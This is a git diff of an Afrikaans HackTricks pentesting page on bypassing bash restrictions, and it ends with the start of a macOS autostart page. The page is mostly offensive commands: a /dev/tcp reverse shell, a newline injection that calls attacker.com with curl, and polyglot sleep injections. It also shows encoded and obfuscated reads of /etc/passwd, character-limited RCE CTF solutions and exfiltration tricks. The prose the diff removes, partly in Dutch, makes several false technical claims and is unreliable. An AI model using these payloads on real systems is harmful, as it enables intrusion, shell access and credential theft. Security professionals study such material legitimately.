|
||||
```
|
||||
### Kort Rev shell
|
||||
|
||||
Hierdie is 'n kort rev shell wat gebruik kan word om 'n verbinding met 'n bediener te maak en beheer oor die doelwitstelsel te verkry.
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/<bediener_ip>/<poort> 0>&1
|
||||
```
|
||||
|
||||
Vervang `<bediener_ip>` met die IP-adres van die bediener en `<poort>` met die poortnommer waarop die bediener luister.
|
||||
|
||||
Hierdie bevel sal 'n interaktiewe bash-sessie skep wat deur die bediener beheer word. Dit stuur die standaard in- en uitvoer na die gespesifiseerde IP-adres en poort.
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
|
@ -48,49 +38,7 @@ Hierdie bevel sal 'n interaktiewe bash-sessie skep wat deur die bediener beheer
|
|||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Deurweeg Paaie en verbode woorde
|
||||
|
||||
Om beperkings in Bash te omseil, kan jy verskeie paaie en verbode woorde gebruik. Hier is 'n paar tegnieke wat jy kan gebruik:
|
||||
|
||||
#### 1. Gebruik van absolute paaie
|
||||
|
||||
In plaas van relatiewe paaie te gebruik, kan jy absolute paaie gebruik om beperkings te omseil. Byvoorbeeld, as die relatiewe pad `/bin/ls` verbode is, kan jy die absolute pad `/usr/bin/ls` gebruik om die `ls`-opdrag uit te voer.
|
||||
|
||||
#### 2. Gebruik van omgekeerde skakels
|
||||
|
||||
Om beperkings te omseil, kan jy omgekeerde skakels (`\`) gebruik om spesiale karakters te ontsnap. Byvoorbeeld, as die woord `ls` verbode is, kan jy die opdrag `l\ s` gebruik om dit uit te voer.
|
||||
|
||||
#### 3. Gebruik van alternatiewe opdragname
|
||||
|
||||
As 'n spesifieke opdragnaam verbode is, kan jy 'n alternatiewe opdragnaam gebruik om die beperking te omseil. Byvoorbeeld, as die opdrag `ls` verbode is, kan jy die opdrag `dir` gebruik om dieselfde funksionaliteit te verkry.
|
||||
|
||||
#### 4. Gebruik van omgekeerde skakels in opdragname
|
||||
|
||||
Om beperkings te omseil, kan jy omgekeerde skakels (`\`) gebruik in die opdragnaam self. Byvoorbeeld, as die opdragnaam `ls` verbode is, kan jy die opdragnaam `l\ s` gebruik om dit uit te voer.
|
||||
|
||||
#### 5. Gebruik van omgekeerde skakels in padname
|
||||
|
||||
Om beperkings te omseil, kan jy omgekeerde skakels (`\`) gebruik in die padnaam self. Byvoorbeeld, as die pad `/bin/ls` verbode is, kan jy die pad `/b\ in/ls` gebruik om die `ls`-opdrag uit te voer.
|
||||
|
||||
#### 6. Gebruik van omgekeerde skakels in argumente
|
||||
|
||||
Om beperkings te omseil, kan jy omgekeerde skakels (`\`) gebruik in die argumente van 'n opdrag. Byvoorbeeld, as die argument `file.txt` verbode is, kan jy die argument `file.t\ xt` gebruik om dit te omseil.
|
||||
|
||||
#### 7. Gebruik van omgekeerde skakels in omgewingsveranderlikes
|
||||
|
||||
Om beperkings te omseil, kan jy omgekeerde skakels (`\`) gebruik in omgewingsveranderlikes. Byvoorbeeld, as die omgewingsveranderlike `PATH` verbode karakters bevat, kan jy omgekeerde skakels gebruik om die karakters te ontsnap.
|
||||
|
||||
#### 8. Gebruik van wildcards
|
||||
|
||||
Om beperkings te omseil, kan jy wildcards gebruik om opdragte uit te voer. Byvoorbeeld, as die opdrag `ls` verbode is, kan jy die opdrag `l*s` gebruik om dit uit te voer.
|
||||
|
||||
#### 9. Gebruik van alternatiewe opdraguitvoerders
|
||||
|
||||
As 'n spesifieke opdraguitvoerder verbode is, kan jy 'n alternatiewe opdraguitvoerder gebruik om die beperking te omseil. Byvoorbeeld, as die opdraguitvoerder `/bin/bash` verbode is, kan jy die opdraguitvoerder `/bin/sh` gebruik om dieselfde funksionaliteit te verkry.
|
||||
|
||||
#### 10. Gebruik van omgekeerde skakels in opdraguitvoerder
|
||||
|
||||
Om beperkings te omseil, kan jy omgekeerde skakels (`\`) gebruik in die opdraguitvoerder self. Byvoorbeeld, as die opdraguitvoerder `/bin/bash` verbode is, kan jy die opdraguitvoerder `/bin/b\ ash` gebruik om dit uit te voer.
|
||||
### Omgangspaaie en verbode woorde
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -146,16 +94,6 @@ whoa # This will throw an error
|
|||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Bypass verbode spasies
|
||||
|
||||
Hier is 'n paar tegnieke om verbode spasies in 'n opdrag te omseil:
|
||||
|
||||
1. Gebruik enkele aanhalingstekens: As jy enkele aanhalingstekens gebruik, sal die opdrag die spasie ignoreer en die res van die teks as een argument beskou. Byvoorbeeld: `ls' -la` sal die opdrag `ls -la` uitvoer.
|
||||
|
||||
2. Gebruik backslashes: Deur 'n backslash voor die spasie te plaas, sal die spasie geïgnoreer word en die opdrag korrek uitgevoer word. Byvoorbeeld: `ls\ -la` sal dieselfde resultaat gee as `ls -la`.
|
||||
|
||||
3. Gebruik dubbele aanhalingstekens: Dubbele aanhalingstekens kan gebruik word om die spasie te omhul en dit as een argument te beskou. Byvoorbeeld: `"ls -la"` sal dieselfde resultaat gee as `ls -la`.
|
||||
|
||||
Dit is belangrik om te onthou dat hierdie tegnieke slegs werk vir opdragreëls wat deur die Bash-skootrekenaar geïnterpreteer word. Ander skootrekenaars kan verskillende sintaksis vereis.
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -188,110 +126,16 @@ g # These 4 lines will equal to ping
|
|||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Bypass rugsteek en sny
|
||||
|
||||
Hier is 'n paar tegnieke om rugsteek en sny beperkings in Linux te omseil:
|
||||
|
||||
#### Gebruik enkele aanhalingstekens
|
||||
|
||||
As jy enkele aanhalingstekens gebruik in plaas van dubbele aanhalingstekens, sal die rugsteek en sny beperkings omseil word. Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
echo 'Hello World'
|
||||
```
|
||||
|
||||
#### Gebruik die `eval`-opdrag
|
||||
|
||||
Die `eval`-opdrag kan gebruik word om die rugsteek en sny beperkings te omseil. Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
eval echo Hello\ World
|
||||
```
|
||||
|
||||
#### Gebruik die `printf`-opdrag
|
||||
|
||||
Die `printf`-opdrag kan ook gebruik word om die rugsteek en sny beperkings te omseil. Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
printf "Hello World\n"
|
||||
```
|
||||
|
||||
#### Gebruik die `echo -e`-opdrag
|
||||
|
||||
Die `echo -e`-opdrag kan gebruik word om die rugsteek en sny beperkings te omseil. Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
echo -e "Hello\tWorld"
|
||||
```
|
||||
|
||||
#### Gebruik die `echo $'...'`-notasie
|
||||
|
||||
Die `echo $'...'`-notasie kan gebruik word om die rugsteek en sny beperkings te omseil. Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
echo $'Hello\tWorld'
|
||||
```
|
||||
|
||||
#### Gebruik die `cat`-opdrag
|
||||
|
||||
Die `cat`-opdrag kan gebruik word om die rugsteek en sny beperkings te omseil. Byvoorbeeld:
|
||||
|
||||
```bash
|
||||
cat <<EOF
|
||||
Hello World
|
||||
EOF
|
||||
```
|
||||
|
||||
Met hierdie tegnieke kan jy die rugsteek en sny beperkings in Linux omseil en toegang verkry tot beperkte funksies en opdragte.
|
||||
### Omgrens backslash en streepje
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Om pype te omseil
|
||||
|
||||
Om pype te omseil, kan jy die volgende tegnieke gebruik:
|
||||
|
||||
#### 1. Gebruik van `sh` in plaas van `bash`
|
||||
|
||||
As die beperkings slegs van toepassing is op die `bash`-opdragskulp, kan jy probeer om die `sh`-opdragskulp te gebruik. Jy kan dit doen deur die volgende sintaks te gebruik:
|
||||
|
||||
```bash
|
||||
sh -c 'opdrag'
|
||||
```
|
||||
|
||||
Hierdie benadering kan die beperkings omseil en jou in staat stel om pype te gebruik.
|
||||
|
||||
#### 2. Gebruik van `mkfifo`
|
||||
|
||||
`mkfifo` is 'n opdrag wat gebruik kan word om 'n benoemde pyp te skep. Jy kan dit gebruik om 'n pyp te skep en dan die data deur die pyp te stuur. Hier is 'n voorbeeld van hoe jy dit kan doen:
|
||||
|
||||
```bash
|
||||
mkfifo mypipe
|
||||
opdrag1 > mypipe &
|
||||
opdrag2 < mypipe
|
||||
```
|
||||
|
||||
In hierdie voorbeeld word 'n benoemde pyp met die naam `mypipe` geskep. Die uitvoer van `opdrag1` word na die pyp gestuur met behulp van die `>`-operateur. Die `&`-teken word gebruik om die proses in die agtergrond te plaas. Die `opdrag2` lees dan die data van die pyp met behulp van die `<`-operateur.
|
||||
|
||||
Hierdie tegniek kan gebruik word om pype te skep sonder om die beperkings van die opdragskulp te omseil.
|
||||
|
||||
#### 3. Gebruik van `socat`
|
||||
|
||||
`socat` is 'n nuttige hulpmiddel wat gebruik kan word om data tussen verskillende strome te stuur. Jy kan dit gebruik om pype te skep en data tussen hulle te stuur. Hier is 'n voorbeeld van hoe jy dit kan doen:
|
||||
|
||||
```bash
|
||||
socat -u EXEC:"opdrag1",pty STDIO | opdrag2
|
||||
```
|
||||
|
||||
In hierdie voorbeeld word `socat` gebruik om 'n pyp te skep tussen `opdrag1` en `opdrag2`. Die `-u`-vlag word gebruik om die data onmiddellik te stuur sonder buffering. Die `EXEC`-opdragspesifikasie word gebruik om `opdrag1` uit te voer en die uitvoer daarvan na die pyp te stuur. Die `pty`-vlag word gebruik om 'n virtuele teletipe te skep. Die `STDIO`-vlag word gebruik om die data na die standaard invoer van `opdrag2` te stuur.
|
||||
|
||||
Hierdie tegniek maak dit moontlik om pype te gebruik sonder om die beperkings van die opdragskulp te omseil.
|
||||
### Oorbrug pype
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Omseil met heksenkodering
|
||||
|
||||
Bash-beperkings kan omgespeel word deur gebruik te maak van heksenkodering.
|
||||
### Omgang met hekskodering
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
|
@ -301,96 +145,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Bypass IP-adresse
|
||||
|
||||
#### IP-adresbeperkings omzeilen
|
||||
|
||||
As jy te doen het met 'n stelsel wat IP-adresbeperkings het en jy wil toegang verkry tot die stelsel vanaf 'n ander IP-adres, kan jy die volgende tegnieke gebruik om die beperkings te omseil:
|
||||
|
||||
1. **Proxy-dienste**: Maak gebruik van 'n proxy-diens soos Tor of 'n VPN om jou IP-adres te verberg en 'n ander IP-adres te gebruik om toegang te verkry tot die stelsel.
|
||||
|
||||
2. **SSH-tunneling**: Maak 'n SSH-tunnel na 'n ander stelsel met 'n toelaatbare IP-adres en gebruik hierdie tunnel om toegang te verkry tot die beperkte stelsel.
|
||||
|
||||
3. **Spoofing**: Gebruik IP-spoofing-tegnieke om jou IP-adres te vervals en dit te laat lyk asof jy vanaf 'n toelaatbare IP-adres toegang verkry.
|
||||
|
||||
4. **Proxy-chaining**: Maak gebruik van 'n reeks van proxy-diensverskaffers om jou IP-adres te verberg en 'n toelaatbare IP-adres te gebruik om toegang te verkry.
|
||||
|
||||
5. **VPN-dienste**: Maak gebruik van 'n VPN-diens wat jou IP-adres verberg en jou 'n ander IP-adres gee om toegang te verkry tot die beperkte stelsel.
|
||||
|
||||
Dit is belangrik om te onthou dat die omseiling van IP-adresbeperkings onwettig kan wees en dat jy slegs hierdie tegnieke moet gebruik met toestemming van die eienaar van die stelsel wat jy probeer omseil.
|
||||
### Omgang met IP-adresse
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Tyd-gebaseerde data-uitvoer
|
||||
|
||||
Om gegevens uit een beperkte omgeving te exfiltreren, kan tijd-gebaseerde data-uitvoer een effectieve techniek zijn. Deze techniek maakt gebruik van de vertragingen in de uitvoering van commando's om gegevens te verzenden.
|
||||
|
||||
#### Implementatie
|
||||
|
||||
1. Verzamel de gegevens die je wilt exfiltreren en converteer ze naar een geschikt formaat, zoals Base64.
|
||||
2. Verdeel de gegevens in kleinere delen om de kans op detectie te verkleinen.
|
||||
3. Gebruik een commando zoals `ping` om de gegevens te verzenden. Pas de vertraging tussen de pings aan om de gegevenssnelheid te regelen.
|
||||
4. Ontvang de gegevens aan de andere kant en herstel ze naar hun oorspronkelijke formaat.
|
||||
|
||||
#### Voorbeeld
|
||||
|
||||
```bash
|
||||
# Verzenden van gegevens
|
||||
data="SGVsbG8gd29ybGQhCg==" # Base64-gecodeerde gegevens
|
||||
for i in $(seq 0 2 ${#data}); do
|
||||
chunk="${data:$i:2}"
|
||||
ping -c 1 -W 1 "$(echo $chunk | base64 -d)"
|
||||
sleep 1
|
||||
done
|
||||
|
||||
# Ontvangen van gegevens
|
||||
tcpdump icmp -i eth0 -vvv
|
||||
```
|
||||
|
||||
In dit voorbeeld worden de gegevens verzonden via ICMP-pakketten met behulp van het `ping`-commando. De gegevens worden in kleine stukjes verdeeld en met een vertraging van 1 seconde tussen de pings verzonden. Aan de ontvangende kant wordt `tcpdump` gebruikt om de ICMP-pakketten te onderscheppen en de gegevens te herstellen.
|
||||
|
||||
#### Opmerkingen
|
||||
|
||||
- Deze techniek kan effectief zijn, maar het kan ook verdacht gedrag veroorzaken en mogelijk worden gedetecteerd door beveiligingsmaatregelen.
|
||||
- Zorg ervoor dat je de vertraging tussen de pings aanpast aan de omgeving waarin je werkt om detectie te minimaliseren.
|
||||
- Houd er rekening mee dat deze techniek mogelijk niet werkt in omgevingen waar ICMP-verkeer wordt geblokkeerd.
|
||||
### Tydgebaseerde data-eksfiltrering
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Kry karakters vanuit omgewingsveranderlikes
|
||||
|
||||
Om karakters vanuit omgewingsveranderlikes te kry, kan jy die volgende opdraggelyne gebruik:
|
||||
|
||||
```bash
|
||||
echo $ENV_VARIABLE_NAME | cut -cX-Y
|
||||
```
|
||||
|
||||
Hier is die betekenis van elke deel van die opdrag:
|
||||
|
||||
- `$ENV_VARIABLE_NAME`: Die naam van die omgewingsveranderlike waaruit jy karakters wil kry.
|
||||
- `X`: Die beginindeks van die karakters wat jy wil kry.
|
||||
- `Y`: Die eindindeks van die karakters wat jy wil kry.
|
||||
|
||||
Byvoorbeeld, as jy die eerste drie karakters van die `PATH` omgewingsveranderlike wil kry, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
echo $PATH | cut -c1-3
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die eerste drie karakters van die `PATH` omgewingsveranderlike druk.
|
||||
### Kry karakters vanaf Omgewingsveranderlikes
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS data uitlekking
|
||||
### DNS data eksfiltrasie
|
||||
|
||||
Jy kan byvoorbeeld **burpcollab** of [**pingb**](http://pingb.in) gebruik.
|
||||
|
||||
### Ingeboude funksies
|
||||
|
||||
In die geval waar jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** ingeboude funksies kan gebruik nie, so jy moet **al jou opsies ken** om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
|
||||
Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Hier is 'n paar **aanbevelings**:
|
||||
In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** **ingeboude** funksies kan gebruik nie, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
|
||||
Eerstens, kyk na al die [**shell ingeboude**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -442,82 +218,22 @@ chmod +x [
|
|||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Poliglot-opdraginjeksie
|
||||
|
||||
Poliglot-opdraginjeksie is 'n tegniek wat gebruik word om opdraginjeksie-aanvalle uit te voer deur 'n enkele opdrag te konstrueer wat deur verskillende interpreteerders in verskillende programmeertale uitgevoer kan word. Hierdie tegniek maak dit moontlik om beperkings te omseil wat deur spesifieke interpreteerders opgelê word.
|
||||
|
||||
Die doel van 'n poliglot-opdraginjeksie is om 'n enkele opdrag te konstrueer wat suksesvol uitgevoer kan word deur verskillende interpreteerders, soos die Bash-skripsie-interpreteerder, Python, Perl, PHP, ensovoorts. Hierdie tegniek is nuttig wanneer 'n toepassing beperkings het op die tipe opdragte wat uitgevoer kan word, maar verskillende interpreteerders toelaat om uitgevoer te word.
|
||||
|
||||
Om 'n poliglot-opdraginjeksie uit te voer, moet jy 'n opdrag konstrueer wat geldig is in verskillende programmeertale. Dit beteken dat jy die sintaksis en funksionaliteit van elke interpreteerder moet verstaan en gebruik om 'n opdrag te bou wat deur almal verstaan en uitgevoer kan word.
|
||||
|
||||
Hier is 'n voorbeeld van 'n poliglot-opdraginjeksie wat gebruik maak van die Bash-skripsie-interpreteerder en Python:
|
||||
|
||||
```bash
|
||||
echo 'Hello, World!' | python -c "import sys; print(sys.stdin.read())"
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die teks "Hello, World!" uitvoer deur dit deur die Python-interpreteerder te stuur en die `print`-funksie te gebruik om dit na die uitvoer te stuur.
|
||||
|
||||
Dit is belangrik om te onthou dat poliglot-opdraginjeksie 'n gevorderde tegniek is en dat dit slegs gebruik moet word in etiese hacking-scenarios waar jy toestemming het om die tegniek toe te pas.
|
||||
### Meertalige bevelinspuiting
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Bypass potensiële regexes
|
||||
|
||||
Om potensiële regexes te omseil, kan jy die volgende tegnieke gebruik:
|
||||
|
||||
- **Karakterontsnapping**: Voeg 'n backslash (\) voor die spesiale karakters in die regex in. Byvoorbeeld, as die regex `^admin` is, kan jy dit omseil deur `^\admin` te gebruik.
|
||||
- **Karakterklas**: Gebruik 'n karakterklas ([ ]) om 'n spesifieke reeks karakters te verteenwoordig. Byvoorbeeld, as die regex `^[a-z]` is, kan jy dit omseil deur `^[\a-z]` te gebruik.
|
||||
- **Karakterbereik**: Gebruik 'n karakterbereik (-) binne 'n karakterklas om 'n reeks opeenvolgende karakters te verteenwoordig. Byvoorbeeld, as die regex `^[a-z]` is, kan jy dit omseil deur `^[\a\-z]` te gebruik.
|
||||
- **Kwantifiseerders**: Voeg 'n kwantifiseerder (+, *, ?) by die spesiale karakters in die regex in. Byvoorbeeld, as die regex `^admin` is, kan jy dit omseil deur `^admi+n` te gebruik.
|
||||
- **Ankerpatrone**: Gebruik ankerpatrone (\b, \B) om spesifieke posisies in die teks te verteenwoordig. Byvoorbeeld, as die regex `\badmin\b` is, kan jy dit omseil deur `\badmin\b` te gebruik.
|
||||
|
||||
Dit is belangrik om te onthou dat hierdie tegnieke nie altyd sal werk nie, aangesien dit afhang van die spesifieke implementering van die regex-verwerker.
|
||||
### Oorloop potensiële regexes
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
|
||||
Bashfuscator is a tool used to obfuscate Bash scripts, making them more difficult to understand and analyze. It achieves this by applying various techniques that modify the structure and behavior of the script without changing its functionality.
|
||||
|
||||
Some of the techniques used by Bashfuscator include:
|
||||
|
||||
- **Variable substitution**: Bashfuscator replaces variable names with randomly generated names, making it harder to understand the purpose of each variable.
|
||||
|
||||
- **Code rearrangement**: Bashfuscator rearranges the order of commands and statements in the script, making it more challenging to follow the flow of execution.
|
||||
|
||||
- **Control flow modification**: Bashfuscator introduces additional control flow structures, such as nested loops and conditional statements, to confuse the reader and make the script harder to analyze.
|
||||
|
||||
- **String manipulation**: Bashfuscator modifies string literals by splitting them into multiple parts or encoding them in different formats, making it more difficult to extract sensitive information.
|
||||
|
||||
- **Function obfuscation**: Bashfuscator renames functions and modifies their structure to make it harder to understand their purpose and behavior.
|
||||
|
||||
By applying these techniques, Bashfuscator can significantly increase the complexity of a Bash script, making it more resistant to reverse engineering and analysis. However, it's important to note that Bashfuscator is not foolproof and can be bypassed by skilled analysts with enough time and resources.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE met 5 karakters
|
||||
|
||||
Hier is een interessante techniek om Remote Code Execution (RCE) te bereiken met slechts 5 karakters. Deze techniek maakt gebruik van een beperking in de Bash-shell.
|
||||
|
||||
De beperking is dat wanneer een opdracht wordt uitgevoerd met een variabele die begint met een accolade, de opdracht wordt uitgevoerd zonder dat de rest van de variabele wordt geëvalueerd. Dit betekent dat we een opdracht kunnen uitvoeren zonder dat de rest van de invoer wordt geïnterpreteerd.
|
||||
|
||||
Hier is het commando:
|
||||
|
||||
```bash
|
||||
${IFS%?}IFS=\$@;${IFS%?}IFS
|
||||
```
|
||||
|
||||
Dit commando maakt gebruik van de interne variabele IFS (Internal Field Separator) van Bash. We stellen IFS in op de waarde van de opdrachtregelargumenten (\$@) en voeren vervolgens IFS opnieuw uit om de oorspronkelijke waarde te herstellen.
|
||||
|
||||
Om deze techniek te gebruiken, moet je een manier vinden om de invoer te injecteren in een omgeving waarin de variabele wordt geëvalueerd. Dit kan bijvoorbeeld gebeuren via een onveilige invoervalidatie in een webtoepassing.
|
||||
|
||||
Het is belangrijk op te merken dat deze techniek alleen werkt als de beperking van de Bash-shell aanwezig is. Nieuwere versies van Bash hebben deze beperking opgelost, dus het kan niet op alle systemen werken.
|
||||
|
||||
Het is altijd belangrijk om ethisch te handelen en alleen legale en geautoriseerde activiteiten uit te voeren. Het gebruik van deze techniek zonder toestemming kan illegaal zijn en ernstige gevolgen hebben.
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
|
@ -565,26 +281,6 @@ ln /f*
|
|||
## to it in the current folder
|
||||
```
|
||||
### RCE met 4 karakters
|
||||
|
||||
Hier is een interessante techniek om Remote Code Execution (RCE) uit te voeren met slechts 4 karakters. Deze techniek maakt gebruik van een beperking in de Bash-shell.
|
||||
|
||||
De Bash-shell heeft een ingebouwde variabele genaamd `$0` die de naam van het huidige script bevat. Normaal gesproken kan deze variabele niet worden gewijzigd, maar er is een manier om dit te omzeilen.
|
||||
|
||||
Om RCE uit te voeren met slechts 4 karakters, moet je de volgende opdracht uitvoeren:
|
||||
|
||||
```bash
|
||||
$0='bash -c "command"'
|
||||
```
|
||||
|
||||
Vervang `'command'` door de opdracht die je wilt uitvoeren. Bijvoorbeeld:
|
||||
|
||||
```bash
|
||||
$0='bash -c "echo Hello, world!"'
|
||||
```
|
||||
|
||||
Dit zal de opgegeven opdracht uitvoeren als een subshell van de huidige shell. Hierdoor kun je opdrachten uitvoeren met slechts 4 karakters.
|
||||
|
||||
Houd er rekening mee dat deze techniek alleen werkt als de Bash-shell beschikbaar is en de variabele `$0` kan worden gewijzigd. Het kan handig zijn tijdens pentesten en het omzeilen van beperkingen, maar wees voorzichtig bij het gebruik ervan.
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -619,15 +315,15 @@ Houd er rekening mee dat deze techniek alleen werkt als de Bash-shell beschikbaa
|
|||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Lees-Alleen/Geen Uitvoering/Beperkte Bash-Omzeiling
|
||||
## Lees-Alleen/Noexec/Distroless Omgang
|
||||
|
||||
As jy binne 'n lêersisteem met die **lees-alleen en geen-uitvoer beskerming** of selfs in 'n distrolose houer is, is daar steeds maniere om **arbitrêre bineêre lêers uit te voer, selfs 'n skul!:**
|
||||
Indien jy binne 'n lêersisteem met die **lees-alleen en noexec-beskermings** of selfs in 'n distroless houer is, is daar steeds maniere om **arbitrêre binêre lêers uit te voer, selfs 'n skaal!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Chroot & ander Jails-Omseiling
|
||||
## Chroot & ander Jails Omgang
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
|
@ -640,10 +336,10 @@ As jy binne 'n lêersisteem met die **lees-alleen en geen-uitvoer beskerming** o
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomaties werkstrome te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -654,10 +350,10 @@ Kry Vandag Toegang:
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,16 +16,16 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
Hierdie afdeling is sterk gebaseer op die blogreeks [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), die doel is om **meer Selfbeginlokasies** by te voeg (indien moontlik), aan te dui **watter tegnieke steeds werk** met die nuutste weergawe van macOS (13.4) en om die **toestemmings** wat nodig is, te spesifiseer.
|
||||
|
||||
## Sandbox Omgang
|
||||
## Sandbox Oorweging
|
||||
|
||||
{% hint style="success" %}
|
||||
